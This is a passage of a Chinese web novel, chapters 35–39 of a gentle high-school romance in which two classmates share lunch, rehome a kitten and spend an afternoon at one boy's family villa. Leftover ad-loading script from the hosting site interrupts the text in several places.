“小时候被逼着学了几年跆拳道。该我问了——”林藏初说,“上午为什么缺考?” 谢遥集的呼吸倏地错了一拍,又被他不动声色地续上:“家里有点事,耽搁了。” 林藏初很有自知之明地没再接着这个话题往下问。 他想了想,有点八卦似的,扯了个没那么重要、但又叫人有点抓心挠肝的闲聊:“你真拒绝人家妹妹的情书了?” 谢遥集哪里记得到底是哪门子的情书,只不过别人送的他一律没收过,奶茶也一概以“过敏”的理由退了回去。 他只好道:“可能吧。” 林藏初设想了一下自己妹妹送情书惨遭拒绝的场景。 他忽然觉得谢遥集被人拦在路上似乎也有那么一点儿情有可原——换作是他估计也会找对方去约架。 林藏初抽了抽嘴角,十分及时地停止了自己这个危险的想法。 两人不知不觉间已经走到了一中的前街,与后街的破败无人不同,这里烟火喧嚣、熙来攘往,放学的高中生骈肩接迹地挤满每一家小小的餐铺。 林藏初指着一家米线店掉了两个字的牌子,征询同桌的意见:“进去吃?” 谢遥集顺着他的视线看过去,发现是学校里很有名的那家米线店。 他其实已经有些饿过劲了,胃里现在的感觉就像是凭空装了块硬邦邦的石头。 疼且难受,但是又吃不下去东西。 谢遥集拒绝的话抵在嘴边,一低头,又看见林藏初那双发亮的眼睛。 熠熠的,带着一点期待的神色,探询似的望过来。 谢遥集的手插在口袋里,无意识地摸了摸那张五元的皱纸票。 往旁边一挪,又碰到半小时前收来的“精神损失费”。 不知是不是心理作用,谢遥集忽然感觉自己的胃没那么疼了:“……” 他答应道:“好。” 林藏初好像是这家米线店的常客,以至于一进店,后厨正忙三火四的胖老板就抬头招呼:“哟,林同学,又带同学来吃米线?” ……又? 谢遥集很轻地挑了下眉,心里蹦出来几个班级里和林藏初常在一起走的人。 “是啊叔。”林藏初倒是没想那么多,熟稔地对着老板扯出来个大大的笑容:“麻烦来两碗米线,一碗照常,还有一碗——” 他回头想问谢遥集份量和辣度,谢遥集察觉到他的目光,立刻心有灵犀地接上:“要八块钱的,清汤。” “好嘞!”胖老板乐呵呵地转身备菜,“手里还有几份没做完,可能得稍微等一等。” “你们先找地方坐着哈。” 店里的规模不大,就连临街 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的窗台都搭了配套的软椅,但还是因为每天的红火生意而人满为患、座无虚席。 林藏初找了好久才勉强在一个角落里发现了空位,确实能坐两个人不假,只是要挤挤攘攘的挨着坐才行。 他有些犹豫,虽然两个大老爷们紧挨着坐也没什么,但是总感觉把对象换成谢遥集就会变得有点奇怪。 “怎么了?”谢遥集问。 林藏初摇摇头,把那点奇怪的情绪从脑袋里摇出去:“没什么,这地方有点小,你坐外面?” 挤一挤没什么的,况且他半小时前才刚帮人解了围呢。 ——所以谢遥集再怎么嫌弃,也不应该嫌弃到他的身上。 林藏初逻辑自洽,成功地把自己给说服了。 他把自己挤进那个角落里狭小的餐桌空位,乍一落座,谢遥集就跟着并排坐过来。 两个人的腿紧紧地挨在一起动弹不得,林藏初试图往里面再挪几厘米,但是失败了。 ……好近。 甚至比那天晚自习下课偶然蹲在一起的时候还要近。 林藏初又闻到谢遥集身上那股独特的皂香,混在整个店内热腾腾的米线香气里,似有若无。 小小的米线店里挤满了人间烟火气的热闹,有下课就急匆匆赶过来的高中生,也有坐在一起侃天侃地的老大爷,还有领着孩子的一家三口。 林藏初就在这种嘈杂的环境里,隔着两人碰在一起的温热皮肤,听见谢遥集胸腔里不甚明显的心跳声。 和自己的心跳毫无章法地混在一起。 变成一种难以忘却的独特节拍。 “……那只小猫。” 林藏初忽然听见谢遥集问,“什么时候来拿?” 他说话的时候喉结微微颤动,距离太近,林藏初甚至能感觉到谢遥集吐出来的气流顺着自己的耳廓缓慢流动。 可能是米线店里的人太多、温度太高,林藏初的耳后莫名其妙地有些发热:“噢……你说小猫啊。” “家里的东西差不多都安置好了,你要是有空,今天我就可以过去拿。” 两碗冒着热气的砂锅米线被人端上来,谢遥集看着里面圆滚滚的鹌鹑蛋,很轻地点了点头:“就今天吧。” 他顿了几秒,才道:“谢谢。” “还有今天的事……也要谢谢你。” 林藏初嘴里咬了半根浸满油的菜叶子,含糊不清道:“都是同桌,应该的。” 他把菜咽下去,想起什么似的转头:“你不会又要跟我掰扯‘报酬’的事吧?” 正有此意的谢遥集:“……” “没有。”谢遥集有些艰难地开口,试图把自己的形象从林藏初心里挽回那么一点,“你想多了。” 欠人东西的感觉很不好受,可他似乎、好像,欠得越来越多了。 他低下头,镜片被米线的热气一熏,很快就起了大片的雾。 林藏初的侧脸被挡在这片雾气的后面,模糊朦胧得叫人有些看不清。 谢遥集想起有关这个人的很多事。 ……以及那些三番五次的帮忙,推脱不掉的好意。 为什么呢? 36. Chapter 36 桌上热气腾腾的米线被两人各怀心事地吃完,林藏初掏出手机看了眼时间,发现离下午的考试还早。 “去你家拿猫?”他见谢遥集也放下碗筷起身,于是出声提议道。 谢遥集没想到林藏初这么快就把这件事放到了心上,神游天外的思绪险些没拽回来:“啊……好。” 他有些后悔刚才出口的话了。 家里今天早上刚进了外人,谢遥集有点不想回去。 更不想把林藏初也带过去——要问原因,好像又说不清。 谢遥集把这一切都归结于债主突然造访之后的副作用。 两个人结账出了店门,街上还是热热闹闹的,林藏初一边走一边单手发着手机消息:“等会儿正好叫李叔过来楼下接咱俩——” 他抬头看了看正前方的十字路口:“你家是往左走还是往右走来着?” 马路上的人行横道在长年累月的车来车往中被磨得有些看不清,谢遥集站在他身后,沉默了几秒后才道:“右。” 林藏初想起来了:“那个xx超市旁边的小区?” 谢遥集点了下头,看见马路一旁的交通灯由绿变红,川流不息的车辆从中间开出道口子。 林藏初还在看手机,没动。 谢遥集犹豫一瞬,还是轻轻地伸出手,攥了下对方的手腕。 “嗯,走吧。” 温热的触感落在腕骨处一触即分,林藏初扒拉着手机屏幕的手一颤,想说些什么,但是最后也没说。 两人一路无话,林藏初是真不记得路,只能微微落后谢遥集几步,把前些天两人一起回学校时走过的路,反着又走了一遍。 他看见两个人当初狼狈摔倒的地方,河一般的水洼已经消失不见,只剩了砖路上积攒下来的干涸泥土、以及上面没来得及挪走的两块红砖。 林藏初想起来那支不幸掉在水坑里的老冰棍雪糕。 谢遥集走得极快,一双长腿充分地发挥了它除了赏心悦目之外的优势。 林藏初咂咂嘴,“想拉着人追忆一下倒霉过往”的算盘很不巧地落空,只好小跑了几步,勉强把人追上。 走了十几分钟,他又看到谢遥集楼下的那家便利店。 写着雪糕价格的牌子还支在地上,只是上面的粉笔字已经从“三元两支”变成了“五元两支”。 林藏初:“?” ……啥雪糕涨价涨这么快? 他不信邪地又盯着那块黑板看了看。 浅绿色的“五”字下面,被人擦掉的“三”还若隐若现。 林藏初:“……” 说来也奇怪,一直没等他的谢遥集竟然像是背后长了眼睛般地停下脚步,问:“想吃雪糕?” “不想。”林藏初有钱但也不想当冤大头,斩钉截铁地打消了自己想吃雪糕的念头。 “只是觉得……好像看见了初中思想品德书里写的那种黑心商贩。” 谢遥集跟着他的视线看过去,也看见了那块儿被人篡改的价格木牌。 “……其实,你要是进去问的话,价格应该没变。” 林藏初:“啊?” 谢遥集说:“你没发现那个‘五’写的特别歪歪扭扭吗?” 经他提醒,林藏初再次认真地往那块儿小黑板上看了看。 ……还真是,横不平竖不直的,标准的幼儿园字体,简直比他自己的考试作文写得还要丑。 “这家老板的儿子调皮得很,总爱搞这些恶作剧。”谢遥集笑了笑,“这小子估计是今天又跟家里吵架了。” 林藏初张大眼睛,脸上的表情活像是在听架空小说:“还能这样?” 谢遥集点头:“当然,不信的话你自己进去问——” “……别,还是算了。”林藏初的好奇心最终还是被自己怕麻烦的天性给打败了,他缩了缩脖子,“雪糕不吃了,走吧。” * 这是林藏初第二次来谢遥集的家。 谢遥集一进门就在玄关处蹲下来,喊:“猫?” 一阵窸窸窣窣的纸箱声音过后,黑白相间的小奶猫撒着欢儿飞速蹿过来:“咪呜——!” 跑到近处一抬头,看见谢遥集身旁站着的陌生人类,又一个急刹车:“喵咪?” 虽然早就见识过这只猫如此敷衍的名字,但是再听见的时候林藏初仍然觉得有点震撼:“……不是,都过去这么多天了,你还是没给它起名啊?” 谢遥集手掌轻轻一捞,把地板上呆呆愣愣的猫抱起来:“嗯,想不出来要叫什么。” 黑白小猫被抱着朝林藏初的方向靠了靠。 它好奇地凑近,伸鼻子轻轻嗅了嗅—— “!” 小奶猫在谢遥集怀里一个翻滚,挣扎着要往林藏初的方向钻。 “咪呜!咪呜!咪呜呜!!” 谢遥集:“……” 沉默了。好一个梅开二度。 ……如果小猫的眼睛会变成微信表情包,那么现在那里一定是两颗金色的发光爱心。 他顺水推舟地把猫递过去,表情略有些复杂:“喏,你家的了。” 身体突然悬空的小猫:“咪?” “猫粮你应该已经备了更好的,如果吃不惯要混粮,这里也有半袋剩下的。”谢遥集像是送闺女出嫁似的叮嘱,“还没来得及打疫苗,它太小了。” 林藏初从他的手里稳稳地把猫接过来,点头道:“好嘞,知道了。” “李叔说他到小区门口了,一起下去?” “……什么?” 谢遥集把视线从猫的身上移开,七分震惊三分不解地落在林藏初的脸上,显然是没料到林藏初口中的“一起”指的是什么。 “儿子要搬家了,你这个当爹的。”林藏初把小猫往他的眼前怼了怼,语气揶揄又认真,“难道不去看看它的新家?” …… 谢遥集最终还是上了李叔的车。 林藏初跟他一起坐在后座,一上车就开始跟李叔闲聊拉呱:“叔,我爸妈都在家吗?” “林总今天有事开会,中午没回来。”李叔乐呵呵地,边开车边回他的话,“夫人倒是在家,噢,小姐也在。” 林藏初遗憾地咂舌:“那可惜了,我爹注定是见不到小猫到家的第一面了。” 谢遥集鬼使神差地抬头看了他一眼。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>两人陆陆续续地又聊了些别的,谢遥集听了一会儿就没再听,只安静地望着窗外倒退的景色,直到李叔再次cue起他来:“这位是小林少爷的同学?” “对。”林藏初爽朗地介绍道,“我同桌,谢遥集。人家可是年级第一呢。” “嚯!这么厉害!”李叔惊叹地赞了一句,“那岂不是能上重点?” “他那个分数,何止重点啊!”林藏初抱着猫眉飞色舞地吹起来,“就连——” “唔!……唔唔唔!” 吹牛逼吹到一半的嘴被人眼疾手快地给捂上了。 林藏初挣扎未果,哀怨地瞪了谢遥集一眼,后者没松手,扯起个谦卑的笑来:“叔,你别听他瞎夸。” “……哪有说的那么玄乎。” 林藏初唔唔唔地抗议:怎么没有!你就是有!炫耀一下怎么了,又不会少块肉! 李叔从后车镜里目睹一切,哈哈大笑:“我相信小林少爷,他说的肯定是真的。” 谢遥集看见林藏初眉飞色舞地朝自己扔了个得意的眼神,高兴得很。 谢遥集:“……” 出门在外身份都是别人给的,算了。 他的手掌还松松垮垮地覆在对方的下半张脸上,林藏初的脸比谢遥集想象中要小得多,几乎一只手就能盖住三分之二。 所以林藏初的鼻子也被迫惨遭毒手,微微的窒息感让他忍不住张嘴,迅速地吸了口气。 谢遥集感觉自己的掌心被一阵湿润的气流蹭过去,然后是柔软的、陌生的触感。 林藏初微微翕动的嘴唇在他手掌内侧的地方轻轻碰了几下。 一瞬间,细密的痒意酥酥麻麻地泛上来,谢遥集大脑嗡然一声,随即倏地停了摆。 “……别捂了,再捂要憋死了。” 他听见林藏初带着笑的打闹声音,整个人开玩笑似的向后躲,从谢遥集的手掌中离开,懒散地靠在身后的真皮座椅上。 “真是的,你这人好不经夸。” 谢遥集的心里忽然被什么东西力道很轻地撞了下,不疼,但是感受足以延绵。 ……为什么他的心脏会跳得这么快? 插科打诨的能力好像在此刻被封印失灵,谢遥集张了张嘴,好像说什么都不太恰当。 他低头,看向自己的右手。 ……好像是被人亲了。 谢遥集心想,那确实是说什么都不太恰当。 虽然当事人好像并没有把这个无意之中不小心造成的“吻”放在心上。 谢遥集很轻地攥了下手掌,上面残留的柔软触感尚在,勾得人有些心烦意乱。 林藏初又开始跟李叔聊起旁的话题来。 于是谢遥集也像什么都没有发生似的往窗外看。 车子周遭的景色已经变了,高矮不平的老旧城区消失不见,取而代之的是整齐美观的别墅区。 谢遥集透过车窗玻璃看了一会儿,忽然很突兀地觉得眼熟。 就好像自己也来过很多次,骑着他那辆摇摇晃晃的自行车,一幢幢地找门牌号—— ……好家伙,想起来了,他给程九理补课的时候每天都要来一回。 37. Chapter 37 其实他早该从之前那些蛛丝马迹的联系中想到的。 比如为什么会在补课的时候遇到林藏初,又比如为什么林藏初和程九理从小就认识。 ……富贵阶层的交际圈向来是一个莫比乌斯环,只是这套理论放在林藏初身上的时候,谢遥集总感觉有一点不真实感。 从前素不相识的日子里尚未如此,如今被迫座位相邻并肩多日,却助长了心里几分没着没落的侥幸—— 也许他和林藏初也没有什么不一样。 这种想法在谢遥集站在林家别墅的院子里时,没有任何外力干预地碎了一角。 像是被打碎的镜面,或大或小零零落落地掉在心底各处。 ……把他从镜花水月的无端幻想中湿漉漉地拽了出来。 李叔把两个人放下后就拐去地下车库停车,林藏初从庭院里的碎石小路走过去,发现谢遥集还停在原地没动:“?” “怎么了?”林藏初看见谢遥集似乎是在抬头看亭墙上浅粉色的藤蔓月季,解释道,“这些都是很久之前种下的,花期很久,平时也会有人来定期修剪。” 房檐处挂着各式繁复的宽敞鸟笼,里面有百灵鸟在清脆悦耳地叫,谢遥集还望见八角凉亭旁边那只翠青色尾羽的蓝银丝鹦鹉。 鹦鹉看见他,立刻抻长了脖子喊:“谁呀!谁呀!快说公主请开门!快说公主请开门!” 谢遥集:“……?” 他抱着猫,半是困惑半是默然地抬头看了一眼林藏初,后者清咳几声,脸上有点挂不住面子:“那个啥,这鸟最近被我妹妹教得语言系统有点混乱。” 谢遥集问:“妹妹?” 林藏初点头:“嗯,也在咱们学校,比我小一届。高二(1)班的。” 他这么一说,谢遥集忽然有了印象,感觉上次运动会节目海选的时候好像在体育馆里见过:“是叫林子浔?” 林藏初诧异地看他一眼:“你怎么知……” “哥!” 他才刚开口,别墅厚实沉重的的门就“吱呀”一声,对话里的主角林子浔像阵风一样窜出来,从门后探出个脑袋遥遥地喊,“怎么才回来?” “你在院子里干嘛呢?是不是又在偷偷教小翠骂我!” “……”林藏初被迫止住话音,皱眉回击,“你以为我像你一样那么无聊?” “谁知道呢。”林子浔从鼻子里哼出一声笑来,“那可不好说,毕竟你这人平时忘性大,关键时候一记仇就记三年——” “嗳?” “……谢会长?”林子浔挤兑自家哥挤兑到一半,忽然发现了林藏初旁边一直站着没出声的人。 她看看谢遥集又看看林藏初,最后猛地一踏步,绕着两人来来回回地转了几圈:“我去,竟然还真是。” “哥,你牛逼啊,竟然能把谢会长领家里来?” 林藏初:“……?” 林藏初丝毫不知道谢遥集在临水一中学弟学妹眼里的传奇程度:“啊?” 林子浔:“哥,你知道谢会长一张大头照在我们年级能卖到多少钱吗?” 她伸出手指竖着比了个数。 林藏初皱眉:“……二十?” “不。”林子浔晃了晃手指,语气幽幽道,“大胆点,两百。” 这下连一旁沉默地充当抱猫工具人的谢遥集都:“?” 他这么值钱?他自己怎么不知道?? 谢遥集下意识地换算了一下这笔交易的金额和利润。 一天卖两张,一个月就是四千块。 ??? 谢遥集觉得自己的世界观有点崩塌了。 他忍不住插话道:“真有这种……” 被偷拍本人卡了下壳,好似突然牵挂起来自己那点时厚时薄的面子,顿了半天才接上:“……这种黑色产业链?” 林子浔:“真的有啊。” 怕人不信,她还特意去手机里找聊天记录翻了翻:“我记得前段时间部门有个朋友还跟我分享来着……哪里去了。” “噢,找到了,在这儿。”她把照片的大图点开,手机屏幕冲向旁边的两个人,“据说这张好像销量得特别好。” 林藏初猝不及防地被谢会长的盛世美颜怼了脸:“……” 这张照片的角度一看就是偷拍,但是拍照的人好像特意找了个很恰当的角度。 ——身着夏季校服的人懒散随意地靠在篮球架旁,手指间握着只黑色签字笔,一双狭长的桃花眼微微垂着,正低头不知在写些什么。 午后的阳光从掉了漆的篮板上方照过来,落在这人好看到有些锋利的五官上,又从镜片处折射出一点细小的光线。 虽然平时也总能看见这张脸,看来看去几乎都要看烦了,但是此刻林藏初盯着手机屏幕里那张放大过的半身像,心里还是升腾起了一点异样的情绪。 ……该说不说,他同桌长得确实牛逼。 林·重度颜控·藏初不争气地咽了下口水,废了九牛二虎之力才把自己的目光从上面撕下来。 “你别说,这照片拍的还挺好。”他认真地评价道。 “那是。”林子浔矜持地一点头,“我们宣传部的人就是这么有实……” 说到一半,她想起谢遥集还站在旁边,立刻亡羊补牢地住了嘴。 ……好险好险,差点就把自家部员给卖了。 但是谢遥集好像并没注意到她话里的失误。 他低头抱着猫,手指有一搭没一搭地顺毛摸着,似乎是在思考些很重要的事。 林藏初很欠地把手伸过去,在人眼前摆了摆:“喂,想什么呢?” 谢遥集从放空中回神,手上摸着猫的动作跟着停下:“……没想什么。” 他确实什么都没想,只是方才看见那张照片的时候陷入了一点回忆。 谢遥集记性很好,所以一眼就认出来这张照片是高二那年的某节体育课。 彼时他在学生会里的职务还没像现在这么忙,虽然也要时常去帮忙跑腿,但大部分事务都是高三的学生会会长在做。 这跟谢遥集想象中的“生物链”有些不太一样。 在他的印象里,往往越是地位低的人,要闷头干的、不属于自己的活就越多才对。 但是那位担任着会长职务的高三学姐显然没有这么做。 谢遥集和对方打过的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 交道不算少,但也称不上多。就算平日里有职务上的交接,两个人说过的话也是寥寥无几。 但是他却被潜移默化地将这种“规则”传承了下来,才有了后来在学生会里游刃有余、一呼百应的“谢会长”。 平心而论,谢遥集讨厌这种道德和责任层面上的分担和急人之难,但是他又贪图于这顶光鲜亮丽的“帽子”,不得不逼着自己沿着既定的轨线运转。 谢遥集想,所以他当初对林藏初莫名抱有一点厌恶性的讨厌,也有这一方面在。 因为林藏初才是那个真正算得上是“乐善好施”的人。 与他这种伪善从一开始就方枘圆凿。 “别发愣了,走啊。”林藏初笑吟吟地收回手,道,“好不容易来做一次课,老在外面站着算什么?” “你不急猫还急呢。” 谢遥集怀里的猫十分配合地大声“喵”了一句,伸出半只爪子按了按他的手腕。 谢遥集看着怀里懵懵懂懂的猫,忽然对自己的“伪善”有了更清晰明了的认知。 他忍不住有些自嘲地晒了一声,像是被林藏初这句话逗笑了似的,随即又恢复了平日里的礼貌笑容:“嗯。” 林子浔领先两个磨磨蹭蹭的人走在最前面,听见身后的和尚鹦鹉又开始喊:“不理人!不理人!” 她不耐烦地啧了声:“这句话又是谁教的啊?难听。” 林藏初默了两秒,赶在她进门之前幽幽开口:“咱妈教的。” 林子浔:“……” 林子浔止住话音,堪堪收回自己即将踏进家门的脚,劫后余生地松了口气。 但是她警惕放松得实在有些为时过早,林妈在二楼的露天阳台上拎着花壶探出头:“又在背后编排我呢?我听见了。” 林子浔:“……” 林子浔绝望地抓了把头发:“妈!你怎么总神出鬼没的!” 一旁围观全程隔岸观火的林藏初忍了忍实在没忍住,偏过头开始狂乐。 谢遥集被林家吵吵闹闹其乐融融的氛围感染,没忍住也跟着笑,林藏初笑够了才回头,悄咪咪地跟着人咬耳朵:“她俩凑一起特有意思,天天吵架。” 谢遥集问:“所以你是那个劝架的?” “不。”林藏初十分认真地摇头,口吻自豪,“我是那个负责拱火的。” 谢遥集不出其外地再次被逗笑了:“责任重大、不可或缺?” 林藏初:“当然!” 眼瞧着妹妹还停留在跟林妈妈幼稚拌嘴的长久拉扯战中,林藏初觉得这是个好机会,连忙比了个嘘声的手势,拉着人蹑手蹑脚地进了家门。 谢遥集莫名觉得他俩这样有点像小偷进门。 ——或许再离谱一点,又有点像罗密欧与朱丽叶。 谢遥集没忍住又扯了扯嘴角。 他忽然发现,自己这个下午好像不知不觉地笑了很多次:“不等林子浔一起吗?” 林藏初头也没回地道:“没事。” “让她俩吵去。” 林小少爷露出一点促狭的笑意,握着谢遥集的手腕松松垮垮地一晃:“你难得来,去我房间坐坐,不成吗?” 38. Chapter 38 谢遥集抱着猫,跟在林藏初的身后往楼上走。 楼梯是红木材质的,并不是很陡,但谢遥集抬脚的时候校服长裤会跟着往上蹿,摩擦到膝盖处的伤口,勾起一阵细细密密的疼。 谢遥集抱着小猫的手紧了紧,沉默地接下了这份有些倒霉的疼痛。 林藏初的房间靠南,门推开的刹那,谢遥集骤然被正午窗外照进来的的耀眼阳光晃了下眼。 怀里的猫也跟着叫了一声,挣扎着要从谢遥集的怀里跳出来,似乎是想去抓白色墙面上零碎的阳光。 小猫越是靠近床就挣扎得越发厉害,谢遥集脚下踩着毛绒绒的房间地毯,停住脚步,有些拿不准主意。 林藏初转头,看见他怀里上蹿下跳的小猫,没忍住笑出声:“放它下来吧,没事。” 他一边说着,一边跪在地上,从床边的矮柜下面扯出只沉重的医药箱。 “坐床上去,给你上个药。” 谢遥集还没来得及把猫放下:“……啊?” 站在房间里的人没动,林藏初奇怪地抬头看他一眼:“说你呢,膝盖不是摔着了吗?” 僵硬的思维缓缓归位,谢遥集张了张嘴,什么也没说出来—— 林藏初是怎么发现的? 他低头看了看自己膝盖处沾了灰的校服裤子,那一片布料因为摔在地上的缘故而稍稍地勾了丝。 但是谢遥集回家时特意用毛巾蘸着凉水拾掇过,不仔细看根本看不出来。 林藏初已经先他一步,拉了张软椅过来在床边坐下,只是嘴里的话依然不是很中听:“……倒是过来啊,你拿胶水把自己跟猫粘一起了?” 无辜连带着被一起骂了的小猫睁着圆溜溜的金色瞳孔看着谢遥集,不满地“咪”了一声。 谢遥集:“……” 他叹了口气,弯腰把猫放在了地毯上。 小猫爪子乍一触地还有点怯,过了三秒钟就开始迈起步子来巡视起自己的领地—— 是不是“自己的”,暂且难以盖棺定论。 谢遥集直起身,收回视线,又看向椅子上坐着的林藏初。 林藏初向他比了个“请”的手势。 先前那点儿被压下去的异样感又卷土重来,心脏微不可察地加速蹦着,谢遥集深深觉得某些事态好像已经超出了自己的掌控。 林藏初稍长的发梢搭在脖颈上,眉头微微皱了几分,视线认真地望着人。 就好像如果谢遥集不照他说的做,下一秒就会直接扑上来把人按倒似的。 这场对视最终以谢遥集的失败而告终,他顶着林藏初的视线,在床边找了个地方坐下来,两个人的距离慢悠悠地拉近了。 林藏初坐着的软椅比床要高上一些,从谢遥集的角度,能看见对方松垮敞着的领口,以及里面恰巧漏出来的漂亮锁骨。 随着对方探身拿药的动作,那截锁骨就顺着滑落的领口变得更为深邃明显,又被纯黑的设计感t恤衬着,白得耀眼。 “……”谢遥集忽然感觉自己有些口干舌燥。 他听见林藏初说:“你自己把裤子卷上去吧,我手占着呢。” 明明是很正常的一句话,但是在谢遥集此时的心境里,就有了几分莫名其妙的别样意味在。 他的喉结上下滚了滚,静了几秒,才垂下眼睛道:“好。” 劣质布料的秋季校服长裤被人用手慢慢地提起来,一直卷到膝盖上方。 饶是林藏初早有心理准备,也不由得被眼前血肉模糊的一片给震惊到了:“……我草。” 甚至因为太久没管,血已经沾到了内侧的布料上,方才谢遥集掀起来的时候,林藏初明显看见对方的眉头皱了下。 “……哥。”林藏初捏着碘酒缓缓地开口道,“你真是牛逼。” “摔成这样都不吭声,真就硬挺啊?” 被他质问的人转了转眼珠,视线沉默地看向另外一个方向——大概是在看电脑桌上摆着的多肉绿植,态度明显得很: 你尽管问,但我有权保持沉默。 林藏初被他这股梗劲儿气得有些发笑,又想起来上午的自己还发誓说,这人跟自己半毛钱关系没有。 他低头看看自己左手的碘酒,又看看右手捏着的医用棉签。 ……好吧。人确实不能把话说太早。 谢遥集不愿意说,他总不能逼着把人家的嘴给撬开。 积怨已久的怒气凝聚成实质汇集在右手上,林藏初面无表情地把蘸了碘酒的棉签往伤口上重重一怼。 谢遥集一直八风不动的脸色终于有了变化:“……嘶!” 林藏初把棉签拿起来:“疼吗?” “疼就对了。” “下次受伤第一时间应该去诊所,而不是喊我把猫抱回家。” 林小少爷语气平淡,谢遥集后知后觉地从里面听出来了一点平时少见的迁怒。 虽然他并不知道林藏初的这份“愤怒”究竟从何而来。 谢遥集摸了下鼻子,方才的那点旖旎气氛早已经跟着疼痛被抛到了九霄云外:“对不起,但是……能不能轻一点儿?” 林藏初掀起眼皮看他:“你怕疼啊?” 谢遥集点点头。 林藏初:“怕疼怎么拖到现在?” “刚才上楼梯不是走得挺欢快的吗?” 谢遥集:“……” 好家伙,原来还有一道坎在这儿等着他呢。 嘲讽的话是这么说,但是林藏初的动作还是放得更轻了一些。 谢遥集只能看见他低下去的、毛茸茸的脑袋,以及小心翼翼握着棉签的漂亮手指。 蓬松细碎的头发下面露出来很少的一点鼻尖,谢遥集的视线落在上面停留几秒,然后发现这个地方有一颗小小的痣。 医用棉签的触感像只蝴蝶一样,轻飘飘地落在膝盖的伤口上,有些痒。 这么说是有些奇怪。谢遥集心想,但是伤口处传来的痒意确实远远大过疼痛。 又或者,其实是心里有什么东西,正在很缓慢地生根发芽。 林藏初已经半天没出声了。 谢遥集的伤口面积不算小,他手上控制着力道涂了很久,也才刚涂完那么一小片。 直到终于忍不住腾出时间喘了口气,林藏初才发现自己多少是有点草木皆兵、杯弓蛇影——就上个药而已,疼能疼到哪里去? 林藏初嫌弃地在心里给自己盖了个“在哄小孩”的戳。 抬起头,又发现谢遥集一直在盯着他瞧。 林小少爷捏着棉签的手莫名变得有些不自在起来:“……你看我干什么?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谢遥集:“看看都不行?” 林藏初又低下头去了:“不行。” 谁知谢遥集像是抓着这个话题不撒手似的:“为什么不行?” “不行就是不行,哪来那么多废话?”林藏初低着的头似乎变得更低了,从谢遥集这个视角看过去,几乎像是能亲到伤口一样。 语气倒是不耐烦:“给你拿面镜子顾影自怜去,别来烦我。” “……不然我不保证,你的伤口不会发炎感染。” 血淋淋的“软肋”被人捏在手里,谢遥集立刻缴械投降:“好吧。” “我不看,闭目养神总行吧?” 谢遥集没再听见林藏初的回答,反倒是脚边多了团温热的触感——巡视领地多时的小猫去而复返,像是终于想起来自己还有这么个前主人兼救命恩人。 他履行承诺似的闭上眼,凭感觉伸出手,摸索着挠了挠小猫毛绒绒的下巴。 小猫立刻贴着谢遥集的手掌蹭过来,舒服地呼噜两声。 明明眼前是一片黑暗,但是谢遥集仍旧能想象出来林藏初伏在床边的身体轮廓,拿着医疗消毒棉签的细长手指,认真注视时垂下来的弯翘睫毛—— 以及咽口水时,上下滚动的喉结。 正午的太阳还是有些太毒了。 谢遥集想,隔着玻璃都能照得人这样热。 心也热,手也热,哪哪都热。 不知过了多久,久到谢遥集几乎忍不住要睁眼睛的时候,林藏初才终于长呼一口气,出声道:“好了。” 他直起身,先是伸了个腰,活动了两下自己因为长时间保持同一个动作而有些发硬的脖子。 然后就咂了咂嘴,说:“刚才感觉有点丑,于是我又花时间改良了一下。” “现在特别完美。”林藏初如此强调道。 谢遥集……谢遥集忽然有一种很玄妙的不好预感。 谢遥集睁开眼睛,房间里温馨复杂的摆设重新映入眼帘,窗外午后刺眼的光线晃得他下意识眯了下眼。 然后他就清楚地看见,自己的左腿膝盖上赫然多了一个巨大的紫色爱心。 “……?” 谢遥没忍住,语气复杂地跟着重复了一遍:“特别,完美?” “对啊。”林藏初对自己花了快十分钟才完成的杰作简直越看越满意,咂巴着嘴又蹲下来仔细端详了一阵。 “你看,还是轴对称图形,多有美感。” “不好看吗?”他最后又问。 谢遥集:“……” 谢遥集难得地沉默了:“嗯,好看。特别好看。” 林藏初显然对他的捧读非常满意:“你看,林子浔非说我没有艺术细胞,这不是有——” 房间门外骤起的敲门声忽然打断了他的话:“哥,你俩在吗?” “咱妈说想看看猫,我进来了啊?” “……” 吱呀一声,厚实的房门猝不及防地被人推开了。二人下意识齐齐转头。 “……?” 林子浔站在门外,要迈进房间的脚迟疑地往回缩了缩。 “你俩这是……”她看了看林藏初半跪着的姿势,又看了看坐在床上的谢遥集,以及两人之间紧密到几乎能够忽略不计的距离,“在玩什么不可告人的新奇play吗?” 39. Chapter 39 林藏初试图站起来解释,但是未果。 林子浔看了看谢会长膝盖上那个歪歪扭扭的紫色爱心,越看越觉得暧昧。 饱读各种同人文的林子浔忽然想到了一种可能性—— 谢会长在学校这么长时间都没有绯闻,难不成是因为性取向不一样? 林子浔看了看自己长得有鼻子有眼的哥,缓缓冒出来了个假设:“哥。” 林藏初正拦着谢遥集,不让他弯腰把裤子放下来沾到上好的药水,闻言转头:“怎么了?” 林子浔原本要问的话在嘴里打了个绊儿,退一步地换成了:“你有对象吗?” 林藏初:“?” 林藏初皱眉:“为什么突然问这个?” “……你早恋了?” 当哥的人直觉不对,立刻警铃大作。 林子浔:“……” 糟糕,一不小心引火上身了。 她立刻转移话题:“没有啊,就是好奇问问。” 但是林子浔明显看见,谢会长在她问出上一个问题的时候下意识往林藏初的方向看了看。 ……有鬼。绝对有鬼。 她在心里得到了一个笃定的结论,反走着退出房间,遮掩道:“妈那边收拾花草一个人忙不过来,我先去了。” “猫一会儿放到房间就好。”林子浔很快地关上门,“你们玩你们的。” 咔嗒一声,门被关上了。 徒留房间内的两个人面面相觑。 林藏初被林子浔这么突然一打断,也忘了自己方才的话题究竟进行到了哪里。 直到他一低头,看见谢遥集膝盖上那颗完美的轴对称爱心。 “……”这么一看,好像是有那么一点奇怪。 林藏初这么想着,还没等违心地跟人开口道个歉,就听见谢遥集问:“没谈过?” “啊?”林藏初茫然地抬头,“你说啥?” 谢遥集低着头看他:“你以前有谈过恋爱吗?” 林藏初:“?” 林藏初感觉今天这些人一个个的都好像被下了降头一样:“你怎么也问这个?” “今天也不是光棍节啊……”他纳闷地往墙上的日历上看了一眼,“还有快俩月呢。” “……嗯,没什么,就是好奇问问。” 